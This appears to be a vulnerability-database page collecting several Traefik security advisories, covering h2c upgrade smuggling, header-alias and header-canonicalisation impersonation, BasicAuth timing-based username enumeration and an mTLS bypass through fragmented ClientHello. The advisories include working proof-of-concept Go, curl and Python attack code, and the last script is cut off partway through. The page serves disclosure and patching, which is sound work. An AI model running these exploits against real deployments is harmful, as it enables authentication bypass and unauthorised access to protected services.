Where
-Infinity
0

Vendor Risk Score

See how traefik labs compares to other vendors in security performance

View Risk Score →
Severity
7
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.

Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's default HTTP reverse proxy forwards arbitrary Connection: Upgrade / Upgrade: <token> requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.

This is exploitable when a backend accepts a non-WebSocket upgrade such as h2c and responds with 101 Switching Protocols. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.

An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.

For example:

text /public /admin (no auth) (BasicAuth) | | +----------- same backend ------+ ^ | h2c tunnel | attacker

This allows middleware such as BasicAuth, ForwardAuth, IPAllowList, and RateLimit to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.

The core issue is unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after 101 Switching Protocols.

Technical Details

The default proxy implementation is pkg/proxy/httputil (the fast proxy remains experimental and is disabled by default).

The relevant request path is:

pkg/middlewares/forwardedheaders/forwardedheader.go (removeConnectionHeaders, ~lines 198-234)

When Connection: Upgrade is present, the Upgrade header is preserved and forwarded downstream. There is no validation that the upgrade token is websocket.

pkg/proxy/httputil/proxy.go (isWebSocketUpgrade, ~line 170)

WebSocket receives special header handling through cleanWebSocketHeaders, but this is not an allowlist. Other upgrade protocols are still passed through.

pkg/server/service/smartroundtripper.go (RoundTrip, ~line 56)

Requests containing Connection: Upgrade are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.

net/http/httputil.ReverseProxy

When the backend returns 101 Switching Protocols, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.

The security boundary breaks at this point.

The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns 101, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.

The resulting flow is:

text Attacker | | GET /public | Connection: Upgrade | Upgrade: h2c v Traefik | | r-public (no auth) v Backend | | 101 Switching Protocols v [raw byte tunnel] | | HTTP/2 GET /admin v Backend

The /admin request never reaches the /admin router. It is sent directly to the backend over the existing tunnel.

I found no upgrade-token allowlist or h2c rejection in the relevant proxy path.

This is distinct from configured h2c support

Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the h2c:// service scheme / transportH2C configuration.

This issue is different.

The upgrade is initiated by the client through the Upgrade header. Traefik forwards it regardless of whether the operator configured h2c for that backend.

Therefore, a plain HTTP/1 backend can still be affected if it happens to accept Upgrade: h2c and return 101. The protocol switch is initiated by the client, and Traefik does not gate it.

PoC

Reproduced against a Traefik binary built from master at commit 9bb0e55:

text go build ./cmd/traefik Go 1.26.4

Default configuration was used, with no encodedCharacters or upgrade-related options enabled.

1. Backend

The backend implements a minimal HTTP/1.1 → h2c upgrade handler.

It exposes:

/public — unauthenticated /admin — intended to be protected by Traefik

go package main

import ( "bufio" "fmt" "net" "net/http" "strings"

"golang.org/x/net/http2" )

func main() { mux := http.NewServeMux()

mux.HandleFunc("/public", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "public ok\n") })

mux.HandleFunc("/admin", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf( w, "ADMIN SECRET DATA (proto=%s path=%s)\n", r.Proto, r.URL.Path, ) })

h2s := &http2.Server{}

ln, := net.Listen("tcp", "127.0.0.1:9900")

for { c, err := ln.Accept() if err != nil { return }

go func(conn net.Conn) { br := bufio.NewReader(conn) var sb strings.Builder

for { line, err := br.ReadString('\n') if err != nil { return }

sb.WriteString(line)

if line == "\r\n" { break } }

if strings.Contains(sb.String(), "Upgrade: h2c") { conn.Write([]byte( "HTTP/1.1 101 Switching Protocols\r\n" + "Connection: Upgrade\r\n" + "Upgrade: h2c\r\n\r\n", ))

h2s.ServeConn(conn, &http2.ServeConnOpts{ Handler: mux, })

return }

conn.Close() }(c) } }

2. Traefik configuration

traefik.yml:

yaml entryPoints: web: address: "127.0.0.1:9080"

providers: file: filename: "dynamic.yml"

dynamic.yml:

yaml http: routers: r-public: rule: "PathPrefix(/public)" entryPoints: ["web"] service: svc

r-admin: rule: "PathPrefix(/admin)" entryPoints: ["web"] service: svc middlewares: ["adminauth"]

middlewares: adminauth: basicAuth: users: - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."

services: svc: loadBalancer: servers: - url: "http://127.0.0.1:9900"

Both routers terminate on the same backend. Only /admin has authentication.

3. Attacker

The PoC first verifies that /admin is protected, then establishes an unauthenticated h2c tunnel through /public and sends /admin over the resulting HTTP/2 connection.

go package main

import ( "fmt" "io" "net" "net/http" "strings" "time"

"golang.org/x/net/http2" )

func main() { front := "127.0.0.1:9080"

resp, := http.Get("http://" + front + "/admin") b, := io.ReadAll(resp.Body) resp.Body.Close()

fmt.Printf( "[1] Direct GET /admin (no creds) -> %d %q\n", resp.StatusCode, strings.TrimSpace(string(b)), )

raw, := net.Dial("tcp", front)

raw.Write([]byte( "GET /public HTTP/1.1\r\n" + "Host: x\r\n" + "Connection: Upgrade, HTTP2-Settings\r\n" + "Upgrade: h2c\r\n" + "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" + "\r\n", ))

buf := make([]byte, 256)

raw.SetReadDeadline(time.Now().Add(3 time.Second)) n, := raw.Read(buf)

fmt.Printf( "[2] Upgrade: h2c to /public (no auth) -> %q\n", strings.SplitN(string(buf[:n]), "\r\n", 2)[0], )

raw.SetReadDeadline(time.Time{})

cc, := (&http2.Transport{}).NewClientConn(raw)

req, := http.NewRequest("GET", "http://x/admin", nil)

r2, := cc.RoundTrip(req) b2, := io.ReadAll(r2.Body) r2.Body.Close()

fmt.Printf( "[3] HTTP/2 GET /admin over tunnel -> %d %q\n", r2.StatusCode, strings.TrimSpace(string(b2)), ) }

Result

text [1] Direct GET /admin (no creds) -> 401 "401 Unauthorized" [2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols" [3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"

This demonstrates the bypass:

Direct /admin → 401 Unauthenticated /public → 101 /admin over the established h2c tunnel → 200

The PoC therefore shows that the /admin middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.

Impact

The issue is exploitable when:

1. An attacker can reach a router without the relevant security middleware. 2. That router points to the same backend as a protected router. 3. The backend accepts Upgrade: h2c and returns 101 Switching Protocols. 4. Traefik allows the resulting upgrade to complete.

Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.

Potentially affected middleware includes:

BasicAuth ForwardAuth IPAllowList RateLimit header/security middleware other per-request middleware attached to the protected router

The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.

The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.

Scope / Preconditions

The backend must support the HTTP/1.1 → h2c upgrade mechanism and return 101 Switching Protocols.

This is not true for every HTTP/2-capable backend.

For example, recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.

Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.

Therefore, this is not a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.

The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.

Suggested Fix

The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.

At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:

text Upgrade: h2c Upgrade: <arbitrary-token>

More generally, Traefik should not treat an arbitrary 101 Switching Protocols response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.

The relevant security property is:

A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.

TL;DR

Traefik forwards arbitrary client-supplied Upgrade tokens.

If a backend accepts Upgrade: h2c and returns 101, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.

An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:

text /public (no auth) | | Upgrade: h2c v Traefik | | 101 v raw tunnel | | HTTP/2 GET /admin v Backend | v /admin (middleware bypassed)

In the PoC, a direct unauthenticated request to /admin returns 401, while the same endpoint accessed over the h2c tunnel returns 200.

The root cause is unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after 101 Switching Protocols.

</details> ---

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
EPSS
0.27%
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Traefik is an HTTP reverse proxy and load balancer. In Traefik v1.x, v2.x through v2.11.55, and v3.0.0 through v3.7.11, header names are canonicalized only on dashes, so X-Auth-User, XAuthUser and X.Auth.User are treated as three distinct headers by Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX and others) collapse them into a single variable. A client can therefore smuggle a dot-form alias of a header that Traefik manages past the middleware managing it — for example supplying X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — causing such a backend to read the client-supplied value instead of the identity Traefik asserted. In the tested configuration (PHP 8.2 built-in SAPI over an HTTP/1 backend path), Go's lexical header ordering makes the attacker-supplied value win deterministically, so a client that ForwardAuth admits as a low-privilege identity can be treated by the backend as a different user or role. Any header Traefik sets is affected, not only ForwardAuth's. This is an incomplete fix for GHSA-x677-9fxg-v5c5, which blocked only the underscore form. Fixed in v2.11.56 and v3.7.12, which add the aliasHeadersStrategy entry-point option; because it defaults to 'keep' for backwards compatibility, it must be explicitly set to 'delete' or 'reject' for the fix to take effect. Unmaintained release lines will not receive a patch.

First published (updated )
Severity
7
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Traefik versions from v3.7.1 fail to enforce crossProviderNamespaces restrictions on the traefik.ingress.kubernetes.io/service.middlewares Service annotation in the Kubernetes Ingress provider. A namespace-limited tenant excluded from the allowlist can attach an operator-owned middleware to its Service, and if that middleware injects backend credentials, recover them at a controlled backend.

First published (updated )

Latest version: 3.7.13

First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.43, 3.6.14, and 3.7.0-rc.2, there is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials. This issue has been patched in versions 2.11.43, 3.6.14, and 3.7.0-rc.2.

First published (updated )
Severity
5.1
CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches

- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Summary

When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.

Tested on Traefik v3.6.10.

Details

At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:

go req.Header[b.headerField] = []string{user}

Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.

The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.

PoC

Traefik config (YAML, Docker labels, or REST API):

yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"

Normal request (baseline):

bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓

Attack request:

bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗

Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.

This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.

Fix suggestion:

go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)

Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).

Impact

An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.

The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
EPSS
0.01%
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC Environment: - Traefik v3.6.9 - k3s v1.34.5

Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80

PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s

Timing difference ratio: 298.0x

Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.

Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc

CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt

Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no

[dn] CN = whoami.home.arpa

[v3req] subjectAltName = @altnames

[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF

openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf

Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"

providers: file: directory: /etc/traefik/dynamic watch: true

log: level: DEBUG EOFTRAEFIKCFG

cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls

services: whoami: loadBalancer: servers: - url: "http://whoami:80"

tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG

docker network create traefik-poc

run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0

docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml

watch traefik logs to ensure everything was deployed correctly docker logs traefik

tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer

python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt

cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os

from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain

class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")

def loadclientcertandkey(certpath, keypath): cert = None key = None

if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)

if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)

return cert, key

def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()

cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)

print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")

print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")

if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")

conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))

ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }

ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]

node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())

if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())

node = node.addchild(ExpectServerHelloDone())

if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())

